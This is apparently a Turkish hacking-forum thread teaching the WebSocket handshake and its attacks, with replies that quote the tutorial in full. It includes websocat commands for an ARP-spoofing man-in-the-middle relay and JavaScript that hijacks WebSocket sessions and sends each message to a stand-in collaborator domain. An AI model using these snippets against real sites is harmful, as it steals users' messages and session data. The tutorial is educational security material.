WebSocket ve Popüler Saldırı Vektörleri

Enistein

Kıdemli Üye
16 Eyl 2012
2,220
1,216
Amsterdam
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle beraber anlık veri transferi için çok yaygın kullanılan Websocket protokolü ve zafiyetleri üzerine konuşacağız.
PpUz4Fr.gif


Websocket Nedir?
r1qu971.png

WebSocket, internet üzerinde
hızlı ve etkili bir şekilde iletişim kurmamızı sağlayan bir teknolojidir.

İnternette sürekli bir şeyler paylaşan, sohbet eden ya da canlı bilgilere erişmeye çalışan biriyseniz, WebSocket sayesinde bu işlemleri çok daha hızlı ve sorunsuz bir şekilde yapabilirsiniz.
Örneğin, bir spor müsabakasını canlı takip ederken, oyunun her anını anında görebilirsiniz, çünkü
WebSocket sayesinde bilgiler hemen elinize ulaşır.
UYv4tVL.png

Ya da bir arkadaşınızla çevrimiçi sohbet ederken, mesajlarınız neredeyse
hiç gecikme olmadan karşılıklı iletilebilir.
İşte tüm bunlar, WebSocket'ın sürekli açık bağlantısı sayesinde mümkün olur.
Bu teknoloji, sadece hızlı değil, aynı zamanda verimli bir iletişim yolu sunar.

Geleneksel yöntemlerin aksine, b
ir kez bağlantı kurulduktan sonra, WebSocket bu bağlantıyı açık tutar ve bu sayede yeni bilgileri anında alıp gönderebilir.
Bu, özellikle canlı olayları takip etmek veya interaktif uygulamalar kullanmak isteyenler için büyük bir kolaylık sağlar.


Kısacası, WebSocket, internet deneyimimizi daha hızlı, daha akıcı ve daha etkileşimli hale getiren bir teknolojidir.
Bu sayede gerçek zamanlı bilgi alışverişi yapabilir ve dünyanın herhangi bir yerindeki insanlarla kolayca iletişim kurabiliriz.


Websocket Bağlantıları Nasıl Kurulur?
kR60R7gH_o.png


WebSocket bağlantılarının kurulumu, bir nevi
internet üzerindeki iki cihaz arasında hızlı ve sürekli bir iletişim hattı açmak gibidir.
Kzj0ORr.png


Başlangıç Noktası:
Her şey, bir web uygulamasının, tarayıcı üzerinden sunucuyla bir
WebSocket bağlantısı kurmak istemesiyle başlar.
Bu, genellikle kullanıcının bir web sayfasını açmasıyla tetiklenir.

El Sıkışma İsteği (
Handshake Request):
Tarayıcı, sunucuya özel bir HTTP isteği gönderir. Bu istek, bir WebSocket bağlantısı kurmak istediğini belirtir.
Örnek:
Kod:
GET /chat HTTP/1.1[/B][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][B][CENTER]Host: normal-website.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: rastgeleAnahtar
Sec-WebSocket-Version: 13






Sunucunun Yanıtı:
Eğer sunucu, WebSocket bağlantısını kabul ederse, tarayıcıya bir yanıt gönderir.
Bu yanıt, artık
normal HTTP yerine WebSocket protokolünü kullanacaklarını belirtir:
Kod:
[/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][CENTER]HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: birTürDoğrulamaKodu

Burada, 101 Switching Protocols kodu, iletişimin artık WebSocket üzerinden yapılacağını gösterir.
Sec-WebSocket-Accept,
sunucunun isteği doğruladığını ve bağlantıya hazır olduğunu belirtir.

Websocat ve MITM
kR60R7gH_o.png

Websocat, WebSocket protokolünü kullanarak internet üzerinde veri gönderip almak için kullanılır.
L1gHFj2.png

Bunu, online bir sohbet odası kurmak ya da bir web uygulamasının gerçek zamanlı işlevlerini test etmek gibi çeşitli amaçlarla kullanabilirsiniz.

Örneğin, var olan bir websocket protokolüne bağlanmak için aşağıdaki komutu kullanabilirsiniz.

Kod:
websocat --insecure wss://10.10.10.10:8000 -v
veya aşağıdaki komutla bir websocket serveri oluşturabilirsiniz.
Kod:
websocat -s 0.0.0.0:8000
GOHgexH.png

Eğer ağınızda, herhangi bir cihazın websocket ağına bağlandığını tespit ederseniz(
Wireshark, vb. araçlarla bunu yapabilirsiniz.), arp spoofing ve mitm teknikleri ile araya girerek saldırı vektörleri oluşturabilirsiniz.
Örneğin server, istemciye bağlanmaya çalıştığında aşağıdaki komut ile araya girebilirsiniz.

Kod:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Cross-site WebSocket hijacking (CSWSH)
kR60R7gH_o.png

Cross-site WebSocket hijacking (CSWSH) saldırılarında, bir saldırgan, bir kullanıcının WebSocket bağlantısını kötü niyetli bir site üzerinden ele geçirir.
Bu tür bir saldırı, kullanıcının orijinal bir uygulamayla güvenli bir bağlantı kurduğunu düşündüğü bir durumda gerçekleşebilir.
Aslında, kullanıcı, saldırganın kontrolündeki bir siteye bağlanmış olur.

Örneğin, bir kullanıcı, saldırganın web sitesindeki kötücül bir JavaScript kodu içeren bir sayfayı ziyaret ettiğinde, bu kod kullanıcının tarayıcısında çalışır ve WebSocket bağlantısını saldırganın sunucusuna yönlendirir.
Bu durumda, kullanıcı, aslında saldırgana ait olan bir sunucuya bağlanmış olur ve bu sunucu, kullanıcının bilgilerini çalmak veya diğer zararlı faaliyetlerde bulunmak için kullanılabilir.
6oFnQPB.png


Bu senaryo için örnek bir javascript kodu örneği:

JavaScript:
<script>
  websocket = new WebSocket('wss://your-websocket-URL');
  websocket.onopen = start;
  websocket.onmessage = handleReply;

  function start(event) {
    websocket.send("READY"); // Saldırganın sunucusuna gönderilen mesaj
  }

  function handleReply(event) {
    // Burada saldırgan, kullanıcıdan gelen bilgileri ele geçirebilir
     fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
  }
</script>

Bu senaryoda,
websocket.send("READY") kısmı, saldırganın sunucusuna bir sinyal gönderir ve kullanıcının cihazı üzerinden veri alışverişine başlar.
Bu, kullanıcının hassas bilgilerinin tehlikeye girmesi anlamına gelir.


Cross Origin ve Farklı Subdomain ile Cookie
kR60R7gH_o.png

Cross-Origin WebSocket hijacking (CSWSH) senaryosunda, bir saldırgan, WebSocket iletişimini gerçekleştiren bir alan adına benzer, ancak tam olarak
aynı olmayan bir alt alan adı kullanarak saldırıyı gerçekleştirir.

Bu tür bir saldırıda, saldırgan, kullanıcıların güvendiği bir web uygulamasının görünümünü taklit ederek, kullanıcıları kendi kötü niyetli sitelerine yönlendirir.
Bu durum, özellikle çerezler farklı alt alan adları arasında paylaşıldığında ortaya çıkar.
kYsi9Bk.png


Saldırgan,
hedeflediği orijinal web uygulamasına benzer görünümlü bir web sayfası oluşturur. Ardından, içerisine saldırganın sunucusuyla haberleşen WebSocket bağlantısı ekler.
Kullanıcı, bu kötü niyetli sayfayı ziyaret ettiğinde,
tarayıcı WebSocket bağlantısını açar ve kullanıcı bilgilerini, saldırganın kontrolündeki sunucuya gönderir.
Saldırgan, bu WebSocket bağlantısı üzerinden kullanıcının hassas bilgilerini ele geçirir.
Örneğin, bir kullanıcının mesajlaşma uygulaması üzerinden gönderdiği bilgiler, aslında saldırganın sunucusuna gönderilir ve bu bilgiler saldırgan tarafından kaydedilir.


JavaScript:
<script src='wsHook.js'></script>


wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}
r1qu971.png

Umarım faydalı bir içerik olmuştur.
Mavi tarafta kalmanız dileğiyle!
 

invisible blood

Uzman üye
15 Eyl 2023
1,177
442
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle beraber anlık veri transferi için çok yaygın kullanılan Websocket protokolü ve zafiyetleri üzerine konuşacağız.
PpUz4Fr.gif


Websocket Nedir?
r1qu971.png

WebSocket, internet üzerinde
hızlı ve etkili bir şekilde iletişim kurmamızı sağlayan bir teknolojidir.

İnternette sürekli bir şeyler paylaşan, sohbet eden ya da canlı bilgilere erişmeye çalışan biriyseniz, WebSocket sayesinde bu işlemleri çok daha hızlı ve sorunsuz bir şekilde yapabilirsiniz.
Örneğin, bir spor müsabakasını canlı takip ederken, oyunun her anını anında görebilirsiniz, çünkü
WebSocket sayesinde bilgiler hemen elinize ulaşır.
UYv4tVL.png

Ya da bir arkadaşınızla çevrimiçi sohbet ederken, mesajlarınız neredeyse
hiç gecikme olmadan karşılıklı iletilebilir.
İşte tüm bunlar, WebSocket'ın sürekli açık bağlantısı sayesinde mümkün olur.
Bu teknoloji, sadece hızlı değil, aynı zamanda verimli bir iletişim yolu sunar.

Geleneksel yöntemlerin aksine, b
ir kez bağlantı kurulduktan sonra, WebSocket bu bağlantıyı açık tutar ve bu sayede yeni bilgileri anında alıp gönderebilir.
Bu, özellikle canlı olayları takip etmek veya interaktif uygulamalar kullanmak isteyenler için büyük bir kolaylık sağlar.


Kısacası, WebSocket, internet deneyimimizi daha hızlı, daha akıcı ve daha etkileşimli hale getiren bir teknolojidir.
Bu sayede gerçek zamanlı bilgi alışverişi yapabilir ve dünyanın herhangi bir yerindeki insanlarla kolayca iletişim kurabiliriz.


Websocket Bağlantıları Nasıl Kurulur?
kR60R7gH_o.png


WebSocket bağlantılarının kurulumu, bir nevi
internet üzerindeki iki cihaz arasında hızlı ve sürekli bir iletişim hattı açmak gibidir.
Kzj0ORr.png


Başlangıç Noktası:
Her şey, bir web uygulamasının, tarayıcı üzerinden sunucuyla bir
WebSocket bağlantısı kurmak istemesiyle başlar.
Bu, genellikle kullanıcının bir web sayfasını açmasıyla tetiklenir.

El Sıkışma İsteği (
Handshake Request):
Tarayıcı, sunucuya özel bir HTTP isteği gönderir. Bu istek, bir WebSocket bağlantısı kurmak istediğini belirtir.
Örnek:
Kod:
GET /chat HTTP/1.1[/B][/COLOR][/CENTER][/B][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][B][CENTER][COLOR=rgb(239, 239, 239)][B][CENTER]Host: normal-website.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: rastgeleAnahtar
Sec-WebSocket-Version: 13







Sunucunun Yanıtı:
Eğer sunucu, WebSocket bağlantısını kabul ederse, tarayıcıya bir yanıt gönderir.
Bu yanıt, artık
normal HTTP yerine WebSocket protokolünü kullanacaklarını belirtir:
Kod:
[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][CENTER][COLOR=rgb(239, 239, 239)][CENTER]HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: birTürDoğrulamaKodu


Burada, 101 Switching Protocols kodu, iletişimin artık WebSocket üzerinden yapılacağını gösterir.
Sec-WebSocket-Accept,
sunucunun isteği doğruladığını ve bağlantıya hazır olduğunu belirtir.

Websocat ve MITM
kR60R7gH_o.png

Websocat, WebSocket protokolünü kullanarak internet üzerinde veri gönderip almak için kullanılır.
L1gHFj2.png

Bunu, online bir sohbet odası kurmak ya da bir web uygulamasının gerçek zamanlı işlevlerini test etmek gibi çeşitli amaçlarla kullanabilirsiniz.

Örneğin, var olan bir websocket protokolüne bağlanmak için aşağıdaki komutu kullanabilirsiniz.

Kod:
websocat --insecure wss://10.10.10.10:8000 -v
veya aşağıdaki komutla bir websocket serveri oluşturabilirsiniz.
Kod:
websocat -s 0.0.0.0:8000
GOHgexH.png

Eğer ağınızda, herhangi bir cihazın websocket ağına bağlandığını tespit ederseniz(
Wireshark, vb. araçlarla bunu yapabilirsiniz.), arp spoofing ve mitm teknikleri ile araya girerek saldırı vektörleri oluşturabilirsiniz.
Örneğin server, istemciye bağlanmaya çalıştığında aşağıdaki komut ile araya girebilirsiniz.

Kod:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Cross-site WebSocket hijacking (CSWSH)
kR60R7gH_o.png

Cross-site WebSocket hijacking (CSWSH) saldırılarında, bir saldırgan, bir kullanıcının WebSocket bağlantısını kötü niyetli bir site üzerinden ele geçirir.
Bu tür bir saldırı, kullanıcının orijinal bir uygulamayla güvenli bir bağlantı kurduğunu düşündüğü bir durumda gerçekleşebilir.
Aslında, kullanıcı, saldırganın kontrolündeki bir siteye bağlanmış olur.

Örneğin, bir kullanıcı, saldırganın web sitesindeki kötücül bir JavaScript kodu içeren bir sayfayı ziyaret ettiğinde, bu kod kullanıcının tarayıcısında çalışır ve WebSocket bağlantısını saldırganın sunucusuna yönlendirir.
Bu durumda, kullanıcı, aslında saldırgana ait olan bir sunucuya bağlanmış olur ve bu sunucu, kullanıcının bilgilerini çalmak veya diğer zararlı faaliyetlerde bulunmak için kullanılabilir.
6oFnQPB.png


Bu senaryo için örnek bir javascript kodu örneği:

JavaScript:
<script>
  websocket = new WebSocket('wss://your-websocket-URL');
  websocket.onopen = start;
  websocket.onmessage = handleReply;

  function start(event) {
    websocket.send("READY"); // Saldırganın sunucusuna gönderilen mesaj
  }

  function handleReply(event) {
    // Burada saldırgan, kullanıcıdan gelen bilgileri ele geçirebilir
     fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
  }
</script>

Bu senaryoda,
websocket.send("READY") kısmı, saldırganın sunucusuna bir sinyal gönderir ve kullanıcının cihazı üzerinden veri alışverişine başlar.
Bu, kullanıcının hassas bilgilerinin tehlikeye girmesi anlamına gelir.


Cross Origin ve Farklı Subdomain ile Cookie
kR60R7gH_o.png

Cross-Origin WebSocket hijacking (CSWSH) senaryosunda, bir saldırgan, WebSocket iletişimini gerçekleştiren bir alan adına benzer, ancak tam olarak
aynı olmayan bir alt alan adı kullanarak saldırıyı gerçekleştirir.

Bu tür bir saldırıda, saldırgan, kullanıcıların güvendiği bir web uygulamasının görünümünü taklit ederek, kullanıcıları kendi kötü niyetli sitelerine yönlendirir.
Bu durum, özellikle çerezler farklı alt alan adları arasında paylaşıldığında ortaya çıkar.
kYsi9Bk.png


Saldırgan,
hedeflediği orijinal web uygulamasına benzer görünümlü bir web sayfası oluşturur. Ardından, içerisine saldırganın sunucusuyla haberleşen WebSocket bağlantısı ekler.
Kullanıcı, bu kötü niyetli sayfayı ziyaret ettiğinde,
tarayıcı WebSocket bağlantısını açar ve kullanıcı bilgilerini, saldırganın kontrolündeki sunucuya gönderir.
Saldırgan, bu WebSocket bağlantısı üzerinden kullanıcının hassas bilgilerini ele geçirir.
Örneğin, bir kullanıcının mesajlaşma uygulaması üzerinden gönderdiği bilgiler, aslında saldırganın sunucusuna gönderilir ve bu bilgiler saldırgan tarafından kaydedilir.


JavaScript:
<script src='wsHook.js'></script>


wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}
r1qu971.png

Umarım faydalı bir içerik olmuştur.
Mavi tarafta kalmanız dileğiyle!
Ellerinize sağlık hocam.
 

Suppressor

Request Uzmanı
16 Kas 2022
1,205
713
always, everywhere
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle beraber anlık veri transferi için çok yaygın kullanılan Websocket protokolü ve zafiyetleri üzerine konuşacağız.
PpUz4Fr.gif


Websocket Nedir?
r1qu971.png

WebSocket, internet üzerinde
hızlı ve etkili bir şekilde iletişim kurmamızı sağlayan bir teknolojidir.

İnternette sürekli bir şeyler paylaşan, sohbet eden ya da canlı bilgilere erişmeye çalışan biriyseniz, WebSocket sayesinde bu işlemleri çok daha hızlı ve sorunsuz bir şekilde yapabilirsiniz.
Örneğin, bir spor müsabakasını canlı takip ederken, oyunun her anını anında görebilirsiniz, çünkü
WebSocket sayesinde bilgiler hemen elinize ulaşır.
UYv4tVL.png

Ya da bir arkadaşınızla çevrimiçi sohbet ederken, mesajlarınız neredeyse
hiç gecikme olmadan karşılıklı iletilebilir.
İşte tüm bunlar, WebSocket'ın sürekli açık bağlantısı sayesinde mümkün olur.
Bu teknoloji, sadece hızlı değil, aynı zamanda verimli bir iletişim yolu sunar.

Geleneksel yöntemlerin aksine, b
ir kez bağlantı kurulduktan sonra, WebSocket bu bağlantıyı açık tutar ve bu sayede yeni bilgileri anında alıp gönderebilir.
Bu, özellikle canlı olayları takip etmek veya interaktif uygulamalar kullanmak isteyenler için büyük bir kolaylık sağlar.


Kısacası, WebSocket, internet deneyimimizi daha hızlı, daha akıcı ve daha etkileşimli hale getiren bir teknolojidir.
Bu sayede gerçek zamanlı bilgi alışverişi yapabilir ve dünyanın herhangi bir yerindeki insanlarla kolayca iletişim kurabiliriz.


Websocket Bağlantıları Nasıl Kurulur?
kR60R7gH_o.png


WebSocket bağlantılarının kurulumu, bir nevi
internet üzerindeki iki cihaz arasında hızlı ve sürekli bir iletişim hattı açmak gibidir.
Kzj0ORr.png


Başlangıç Noktası:
Her şey, bir web uygulamasının, tarayıcı üzerinden sunucuyla bir
WebSocket bağlantısı kurmak istemesiyle başlar.
Bu, genellikle kullanıcının bir web sayfasını açmasıyla tetiklenir.

El Sıkışma İsteği (
Handshake Request):
Tarayıcı, sunucuya özel bir HTTP isteği gönderir. Bu istek, bir WebSocket bağlantısı kurmak istediğini belirtir.
Örnek:
Kod:
GET /chat HTTP/1.1[/B][/COLOR][/CENTER][/B][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][B][CENTER][COLOR=rgb(239, 239, 239)][B][CENTER]Host: normal-website.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: rastgeleAnahtar
Sec-WebSocket-Version: 13







Sunucunun Yanıtı:
Eğer sunucu, WebSocket bağlantısını kabul ederse, tarayıcıya bir yanıt gönderir.
Bu yanıt, artık
normal HTTP yerine WebSocket protokolünü kullanacaklarını belirtir:
Kod:
[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][CENTER][COLOR=rgb(239, 239, 239)][CENTER]HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: birTürDoğrulamaKodu


Burada, 101 Switching Protocols kodu, iletişimin artık WebSocket üzerinden yapılacağını gösterir.
Sec-WebSocket-Accept,
sunucunun isteği doğruladığını ve bağlantıya hazır olduğunu belirtir.

Websocat ve MITM
kR60R7gH_o.png

Websocat, WebSocket protokolünü kullanarak internet üzerinde veri gönderip almak için kullanılır.
L1gHFj2.png

Bunu, online bir sohbet odası kurmak ya da bir web uygulamasının gerçek zamanlı işlevlerini test etmek gibi çeşitli amaçlarla kullanabilirsiniz.

Örneğin, var olan bir websocket protokolüne bağlanmak için aşağıdaki komutu kullanabilirsiniz.

Kod:
websocat --insecure wss://10.10.10.10:8000 -v
veya aşağıdaki komutla bir websocket serveri oluşturabilirsiniz.
Kod:
websocat -s 0.0.0.0:8000
GOHgexH.png

Eğer ağınızda, herhangi bir cihazın websocket ağına bağlandığını tespit ederseniz(
Wireshark, vb. araçlarla bunu yapabilirsiniz.), arp spoofing ve mitm teknikleri ile araya girerek saldırı vektörleri oluşturabilirsiniz.
Örneğin server, istemciye bağlanmaya çalıştığında aşağıdaki komut ile araya girebilirsiniz.

Kod:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Cross-site WebSocket hijacking (CSWSH)
kR60R7gH_o.png

Cross-site WebSocket hijacking (CSWSH) saldırılarında, bir saldırgan, bir kullanıcının WebSocket bağlantısını kötü niyetli bir site üzerinden ele geçirir.
Bu tür bir saldırı, kullanıcının orijinal bir uygulamayla güvenli bir bağlantı kurduğunu düşündüğü bir durumda gerçekleşebilir.
Aslında, kullanıcı, saldırganın kontrolündeki bir siteye bağlanmış olur.

Örneğin, bir kullanıcı, saldırganın web sitesindeki kötücül bir JavaScript kodu içeren bir sayfayı ziyaret ettiğinde, bu kod kullanıcının tarayıcısında çalışır ve WebSocket bağlantısını saldırganın sunucusuna yönlendirir.
Bu durumda, kullanıcı, aslında saldırgana ait olan bir sunucuya bağlanmış olur ve bu sunucu, kullanıcının bilgilerini çalmak veya diğer zararlı faaliyetlerde bulunmak için kullanılabilir.
6oFnQPB.png


Bu senaryo için örnek bir javascript kodu örneği:

JavaScript:
<script>
  websocket = new WebSocket('wss://your-websocket-URL');
  websocket.onopen = start;
  websocket.onmessage = handleReply;

  function start(event) {
    websocket.send("READY"); // Saldırganın sunucusuna gönderilen mesaj
  }

  function handleReply(event) {
    // Burada saldırgan, kullanıcıdan gelen bilgileri ele geçirebilir
     fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
  }
</script>

Bu senaryoda,
websocket.send("READY") kısmı, saldırganın sunucusuna bir sinyal gönderir ve kullanıcının cihazı üzerinden veri alışverişine başlar.
Bu, kullanıcının hassas bilgilerinin tehlikeye girmesi anlamına gelir.


Cross Origin ve Farklı Subdomain ile Cookie
kR60R7gH_o.png

Cross-Origin WebSocket hijacking (CSWSH) senaryosunda, bir saldırgan, WebSocket iletişimini gerçekleştiren bir alan adına benzer, ancak tam olarak
aynı olmayan bir alt alan adı kullanarak saldırıyı gerçekleştirir.

Bu tür bir saldırıda, saldırgan, kullanıcıların güvendiği bir web uygulamasının görünümünü taklit ederek, kullanıcıları kendi kötü niyetli sitelerine yönlendirir.
Bu durum, özellikle çerezler farklı alt alan adları arasında paylaşıldığında ortaya çıkar.
kYsi9Bk.png


Saldırgan,
hedeflediği orijinal web uygulamasına benzer görünümlü bir web sayfası oluşturur. Ardından, içerisine saldırganın sunucusuyla haberleşen WebSocket bağlantısı ekler.
Kullanıcı, bu kötü niyetli sayfayı ziyaret ettiğinde,
tarayıcı WebSocket bağlantısını açar ve kullanıcı bilgilerini, saldırganın kontrolündeki sunucuya gönderir.
Saldırgan, bu WebSocket bağlantısı üzerinden kullanıcının hassas bilgilerini ele geçirir.
Örneğin, bir kullanıcının mesajlaşma uygulaması üzerinden gönderdiği bilgiler, aslında saldırganın sunucusuna gönderilir ve bu bilgiler saldırgan tarafından kaydedilir.


JavaScript:
<script src='wsHook.js'></script>


wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}
r1qu971.png

Umarım faydalı bir içerik olmuştur.
Mavi tarafta kalmanız dileğiyle!
Eline sağlık abi yararlı konu.
 

teux

Katılımcı Üye
23 Ocak 2023
959
1,329
f8l1281.png

İyi günler Türk Hack Team ailesi.
Bugün sizlerle beraber anlık veri transferi için çok yaygın kullanılan Websocket protokolü ve zafiyetleri üzerine konuşacağız.
PpUz4Fr.gif


Websocket Nedir?
r1qu971.png

WebSocket, internet üzerinde
hızlı ve etkili bir şekilde iletişim kurmamızı sağlayan bir teknolojidir.

İnternette sürekli bir şeyler paylaşan, sohbet eden ya da canlı bilgilere erişmeye çalışan biriyseniz, WebSocket sayesinde bu işlemleri çok daha hızlı ve sorunsuz bir şekilde yapabilirsiniz.
Örneğin, bir spor müsabakasını canlı takip ederken, oyunun her anını anında görebilirsiniz, çünkü
WebSocket sayesinde bilgiler hemen elinize ulaşır.
UYv4tVL.png

Ya da bir arkadaşınızla çevrimiçi sohbet ederken, mesajlarınız neredeyse
hiç gecikme olmadan karşılıklı iletilebilir.
İşte tüm bunlar, WebSocket'ın sürekli açık bağlantısı sayesinde mümkün olur.
Bu teknoloji, sadece hızlı değil, aynı zamanda verimli bir iletişim yolu sunar.

Geleneksel yöntemlerin aksine, b
ir kez bağlantı kurulduktan sonra, WebSocket bu bağlantıyı açık tutar ve bu sayede yeni bilgileri anında alıp gönderebilir.
Bu, özellikle canlı olayları takip etmek veya interaktif uygulamalar kullanmak isteyenler için büyük bir kolaylık sağlar.


Kısacası, WebSocket, internet deneyimimizi daha hızlı, daha akıcı ve daha etkileşimli hale getiren bir teknolojidir.
Bu sayede gerçek zamanlı bilgi alışverişi yapabilir ve dünyanın herhangi bir yerindeki insanlarla kolayca iletişim kurabiliriz.


Websocket Bağlantıları Nasıl Kurulur?
kR60R7gH_o.png


WebSocket bağlantılarının kurulumu, bir nevi
internet üzerindeki iki cihaz arasında hızlı ve sürekli bir iletişim hattı açmak gibidir.
Kzj0ORr.png


Başlangıç Noktası:
Her şey, bir web uygulamasının, tarayıcı üzerinden sunucuyla bir
WebSocket bağlantısı kurmak istemesiyle başlar.
Bu, genellikle kullanıcının bir web sayfasını açmasıyla tetiklenir.

El Sıkışma İsteği (
Handshake Request):
Tarayıcı, sunucuya özel bir HTTP isteği gönderir. Bu istek, bir WebSocket bağlantısı kurmak istediğini belirtir.
Örnek:
Kod:
GET /chat HTTP/1.1[/B][/COLOR][/CENTER][/B][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][B][CENTER][COLOR=rgb(239, 239, 239)][B][CENTER]Host: normal-website.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: rastgeleAnahtar
Sec-WebSocket-Version: 13







Sunucunun Yanıtı:
Eğer sunucu, WebSocket bağlantısını kabul ederse, tarayıcıya bir yanıt gönderir.
Bu yanıt, artık
normal HTTP yerine WebSocket protokolünü kullanacaklarını belirtir:
Kod:
[/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(239, 239, 239)][CENTER][COLOR=rgb(239, 239, 239)][CENTER]HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: birTürDoğrulamaKodu


Burada, 101 Switching Protocols kodu, iletişimin artık WebSocket üzerinden yapılacağını gösterir.
Sec-WebSocket-Accept,
sunucunun isteği doğruladığını ve bağlantıya hazır olduğunu belirtir.

Websocat ve MITM
kR60R7gH_o.png

Websocat, WebSocket protokolünü kullanarak internet üzerinde veri gönderip almak için kullanılır.
L1gHFj2.png

Bunu, online bir sohbet odası kurmak ya da bir web uygulamasının gerçek zamanlı işlevlerini test etmek gibi çeşitli amaçlarla kullanabilirsiniz.

Örneğin, var olan bir websocket protokolüne bağlanmak için aşağıdaki komutu kullanabilirsiniz.

Kod:
websocat --insecure wss://10.10.10.10:8000 -v
veya aşağıdaki komutla bir websocket serveri oluşturabilirsiniz.
Kod:
websocat -s 0.0.0.0:8000
GOHgexH.png

Eğer ağınızda, herhangi bir cihazın websocket ağına bağlandığını tespit ederseniz(
Wireshark, vb. araçlarla bunu yapabilirsiniz.), arp spoofing ve mitm teknikleri ile araya girerek saldırı vektörleri oluşturabilirsiniz.
Örneğin server, istemciye bağlanmaya çalıştığında aşağıdaki komut ile araya girebilirsiniz.

Kod:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Cross-site WebSocket hijacking (CSWSH)
kR60R7gH_o.png

Cross-site WebSocket hijacking (CSWSH) saldırılarında, bir saldırgan, bir kullanıcının WebSocket bağlantısını kötü niyetli bir site üzerinden ele geçirir.
Bu tür bir saldırı, kullanıcının orijinal bir uygulamayla güvenli bir bağlantı kurduğunu düşündüğü bir durumda gerçekleşebilir.
Aslında, kullanıcı, saldırganın kontrolündeki bir siteye bağlanmış olur.

Örneğin, bir kullanıcı, saldırganın web sitesindeki kötücül bir JavaScript kodu içeren bir sayfayı ziyaret ettiğinde, bu kod kullanıcının tarayıcısında çalışır ve WebSocket bağlantısını saldırganın sunucusuna yönlendirir.
Bu durumda, kullanıcı, aslında saldırgana ait olan bir sunucuya bağlanmış olur ve bu sunucu, kullanıcının bilgilerini çalmak veya diğer zararlı faaliyetlerde bulunmak için kullanılabilir.
6oFnQPB.png


Bu senaryo için örnek bir javascript kodu örneği:

JavaScript:
<script>
  websocket = new WebSocket('wss://your-websocket-URL');
  websocket.onopen = start;
  websocket.onmessage = handleReply;

  function start(event) {
    websocket.send("READY"); // Saldırganın sunucusuna gönderilen mesaj
  }

  function handleReply(event) {
    // Burada saldırgan, kullanıcıdan gelen bilgileri ele geçirebilir
     fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
  }
</script>

Bu senaryoda,
websocket.send("READY") kısmı, saldırganın sunucusuna bir sinyal gönderir ve kullanıcının cihazı üzerinden veri alışverişine başlar.
Bu, kullanıcının hassas bilgilerinin tehlikeye girmesi anlamına gelir.


Cross Origin ve Farklı Subdomain ile Cookie
kR60R7gH_o.png

Cross-Origin WebSocket hijacking (CSWSH) senaryosunda, bir saldırgan, WebSocket iletişimini gerçekleştiren bir alan adına benzer, ancak tam olarak
aynı olmayan bir alt alan adı kullanarak saldırıyı gerçekleştirir.

Bu tür bir saldırıda, saldırgan, kullanıcıların güvendiği bir web uygulamasının görünümünü taklit ederek, kullanıcıları kendi kötü niyetli sitelerine yönlendirir.
Bu durum, özellikle çerezler farklı alt alan adları arasında paylaşıldığında ortaya çıkar.
kYsi9Bk.png


Saldırgan,
hedeflediği orijinal web uygulamasına benzer görünümlü bir web sayfası oluşturur. Ardından, içerisine saldırganın sunucusuyla haberleşen WebSocket bağlantısı ekler.
Kullanıcı, bu kötü niyetli sayfayı ziyaret ettiğinde,
tarayıcı WebSocket bağlantısını açar ve kullanıcı bilgilerini, saldırganın kontrolündeki sunucuya gönderir.
Saldırgan, bu WebSocket bağlantısı üzerinden kullanıcının hassas bilgilerini ele geçirir.
Örneğin, bir kullanıcının mesajlaşma uygulaması üzerinden gönderdiği bilgiler, aslında saldırganın sunucusuna gönderilir ve bu bilgiler saldırgan tarafından kaydedilir.


JavaScript:
<script src='wsHook.js'></script>


wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
